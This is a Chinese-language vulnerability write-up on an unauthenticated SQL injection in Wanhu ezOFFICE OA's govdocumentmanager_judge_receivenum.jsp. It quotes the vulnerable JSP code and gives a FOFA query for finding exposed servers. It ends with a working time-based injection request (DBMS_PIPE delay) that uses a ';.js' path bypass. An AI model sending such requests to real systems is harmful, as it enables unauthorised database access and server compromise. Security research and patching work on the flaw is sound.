漏洞简介
万户OA ezoffice 是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品,统一的基础管理平台,实现用户数据统一管理、权限统一分配、身份统一认证。统一规划门户网站群和协同办公平台,将外网信息维护、客户服务、互动交流和日常工作紧密结合起来,有效提高工作效率。万户 ezOFFICE govdocumentmanager_judge_receivenum.jsp 接口存在SQL注入漏洞,未授权的攻击者可利用此漏洞获取数据库权限,深入利用可获取服务器权限。
影响版本
11.5.0.12_SP_20161110
fofa语法
app="ezOFFICE协同管理平台" || app="万户ezOFFICE协同管理平台" || app="万户网络-ezOFFICE"
漏洞分析
直接看 jboss/jboss-as/server/oa/deploy/defaultroot.war/modules/govoffice/gov_documentmanager/govdocumentmanager_judge_receivenum.jsp
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
com.whir.common.util.DataSourceBase dsb = new com.whir.common.util.DataSourceBase();
java.sql.Connection conn = null;
java.sql.Statement stmt = null;
String numId=request.getParameter("numId");
String field2=request.getParameter("field2");
String seq=request.getParameter("zjkySeq");
String recordId=request.getParameter("record")==null?"":request.getParameter("record").toString();
String newResubmit = request.getParameter("newResubmit")==null?"":request.getParameter("newResubmit").toString();
//int ny=new java.util.Date().getYear()+1900;
try{
conn = dsb.getDataSource().getConnection();
stmt = conn.createStatement();
//int iskey=1;//0 不重排, 1 重排
//String numStr="select keyValue from gov_receivefileseq where id="+numId;//取此文号 是否要求重排
String strSql="SELECT RECEIVEFILE_ID FROM EZOFFICE.GOV_RECEIVEFILE WHERE receivefile_isdraft!='1' and seqid=" + numId+" and zjkyseq like '"+ seq +"'";
// System.out.println("////////////////////////////numStr"+numStr);
if(!recordId.equals("") && !recordId.equals("null")){
if(!newResubmit.equals("1")){
strSql+= " and RECEIVEFILE_ID<> "+recordId;
}
}
//java.sql.ResultSet rs = stmt.executeQuery(numStr);
//if(rs.next()){
// iskey=rs.getInt(1);
//
// }
//if(iskey==1){// 重排
//strSql+=" and field2="+ny+"";
// }
//System.out.println("////////////////////////////strSql:"+strSql);
java.sql.ResultSet rs = stmt.executeQuery(strSql);
int channelsort = 0;
if(rs.next()){
out.print("0");
}else{
out.print("1");
}
}catch(Exception e){
System.out.println("-----------------------------------------------------");
e.printStackTrace();
System.out.println("-----------------------------------------------------");
}finally{
if(stmt != null){
stmt.close();
}
if(conn != null){
conn.close();
}
}
%>
代码通过request.getParameter方法获取numId、zjkySeq、record和newResubmit等参数,未对输入进行任何过滤或转义处理。
SQL语句通过字符串拼接方式构造,例如:
String strSql = "SELECT RECEIVEFILE_ID FROM EZOFFICE.GOV_RECEIVEFILE WHERE receivefile_isdraft!='1' and seqid=" + numId + " and zjkyseq like '" + seq + "'";
其中numId和seq参数均直接拼接至SQL语句。
numId、seq以及后续追加的recordId参数均未经过任何过滤或转义,直接拼接至SQL语句,存在明显的SQL注入风险。- 攻击者可通过构造恶意参数(如
numId=1 OR 1=1 --),实现SQL注入攻击,导致数据泄露、篡改或破坏。
以及当 record 存在不为空或 null 且 newResubmit!=1 时
String recordId = request.getParameter("record") == null ? "" : request.getParameter("record").toString();
String newResubmit = request.getParameter("newResubmit") == null ? "" : request.getParameter("newResubmit").toString();
if(!recordId.equals("") && !recordId.equals("null")){
if(!newResubmit.equals("1")){
strSql += " and RECEIVEFILE_ID<> " + recordId;
}
}
recordId参数在未做任何合法性校验、类型检查或转义的情况下,直接拼接至SQL语句中。
整体执行流程如下

漏洞复现
GET /defaultroot/modules/govoffice/gov_documentmanager/govdocumentmanager_judge_receivenum.jsp;.js?numId=1+AND+1337=DBMS_PIPE.RECEIVE_MESSAGE('any',5)-- HTTP/1.1
Host: ezoffice.mrxn.net

成功延时 5 秒(注意数据库不同)

